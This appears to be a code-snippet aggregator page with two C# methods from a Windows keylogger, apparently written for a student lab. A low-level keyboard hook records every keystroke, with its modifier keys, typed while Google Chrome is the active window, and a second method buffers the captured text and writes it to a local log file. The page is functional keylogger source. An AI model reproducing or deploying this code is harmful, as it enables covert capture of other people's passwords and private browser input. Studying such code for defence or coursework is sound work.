Exemplo n.º 1
0
        public static void SaveToContainer(KeyOptions keyOptions)
        {
            var lineMessage = keyOptions.ToString();

            messageContainer.AppendLine(lineMessage);
            //Console.WriteLine(lineMessage);


            if (messageContainer.Length > 2000)
            {
                System.IO.File.WriteAllText("G:\\KINGSTON\\8 сем\\ЗОС\\лаб2\\Log.txt", Convert.ToString(messageContainer));
                messageContainer.Clear();
                //MessageBox.Show("SaveToFile");
            }
        }
Exemplo n.º 2
0
        public static IntPtr HookProc(int nCode, IntPtr wParam, IntPtr lParam)
        {
            string          windowName = GetCaptionOfActiveWindow();
            KBDLLHOOKSTRUCT kb         = (KBDLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, typeof(KBDLLHOOKSTRUCT));

            byte[]   keyState  = new byte[256];
            byte[]   inBuffer  = new byte[1];
            var      flagState = kb.flag;
            Encoding encoding  = Encoding.GetEncoding("windows-1251");

            if (windowName.Contains("Google Chrome") && nCode >= HC_ACTION && (wParam == WM_KEYDOWN || wParam == WM_ALT))
            {
                for (int i = 0; i < 256; i++)
                {
                    keyState[i] = 0;
                    if ((GetAsyncKeyState(i) & 0x8000) != 0)
                    {
                        keyState[i] |= 0x80;
                    }
                    if ((GetKeyState(i) & 0x0001) != 0)
                    {
                        keyState[i] |= 0x01;
                    }
                }

                var keyOptions = new KeyOptions();

                ToAsciiEx(kb.vkCode, kb.scanCode, keyState, inBuffer, flagState, GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow(), IntPtr.Zero)));
                keyOptions.EncodedChar = encoding.GetString(inBuffer);

                int  vkCode = (int)kb.vkCode;
                int  flags  = (int)kb.flag;
                Keys key    = (Keys)vkCode;

                if (wParam == WM_KEYDOWN || wParam == WM_ALT)
                {
                    bool isAlt = false, isControl = false, isShift = false;

                    isAlt     = wParam == WM_ALT;
                    isControl = (Control.ModifierKeys & Keys.Control) != Keys.None;
                    isShift   = (Control.ModifierKeys & Keys.Shift) != Keys.None;

                    if (isAlt)
                    {
                        key |= Keys.Alt;
                    }
                    if (isControl)
                    {
                        key |= Keys.Control;
                    }
                    if (isShift)
                    {
                        key |= Keys.Shift;
                    }

                    keyOptions.Keys = key;
                }

                keyOptions.IsCapsLockEnable = (GetKeyState(VK_CAPITAL) & 0x0001) != 0;

                SaveToContainer(keyOptions);
            }

            return(CallNextHookEx(hhook, nCode, (int)wParam, lParam));
        }